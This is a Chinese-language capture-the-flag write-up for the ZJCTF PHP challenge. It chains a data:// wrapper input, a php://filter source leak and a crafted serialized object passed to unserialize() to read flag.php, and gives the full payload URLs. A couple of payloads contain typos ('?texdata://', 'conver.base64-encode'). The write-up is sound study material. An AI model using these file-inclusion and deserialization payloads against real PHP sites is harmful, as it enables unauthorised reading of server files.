1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

通过代码可以知道首要的目标是进入第一个 if 中,进入的条件是满足 text 是被设置了值的且该值为 "welcome to the zjctf"。
进入该条件中需要用到 data:// 协议

1
2
3
4
5
6
data://协议
需要allow_url_fopen,allow_url_include均为on
这是一个输入流执行的协议,它可以向服务器输入数据,而服务器也会执行。常用的方式如下:
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
text/plain,表示的是文本
text/plain;base64,若纯文本没用可用base64编码

使用以下地址可以进入 if 语句中

1
http://ip:port/?texdata://text/plain,welcome to the zjctf

进入语句之后中看到有 preg_match,该方法与正则表达相关会过滤 '/flag/'。
include () 方法一般存在漏洞可以利用,此处用 php://filter 协议。

1
2
3
4
php://filter的用法如下:
www.ip:port/?file=php://filter/convert.base64-encode/resource==index.php
出来的是base64码需要解码
此协议不受allow_url_fopen,allow_url_include配置影响

构造 payload

1
file=php://filter/conver.base64-encode/resource=useless.php

输入之后得到 useless.php 的 base64 编码,解码后可得

1
2
3
4
5
6
7
8
9
10
11
12
<?php  
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

源码中 unserialize 方法能触发反序列化漏洞,因此利用 useless.php 里写的 file_get_contents 直接去读 flag.php,构造 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __construct(){
$this->file = "flag.php";
}
}

$a = new Flag();
$b = serialize($a);
echo urlencode($b);
?>

得到

1
password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

最终 payload 为

1
text=data://text/plain,welcome to the zjctf&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D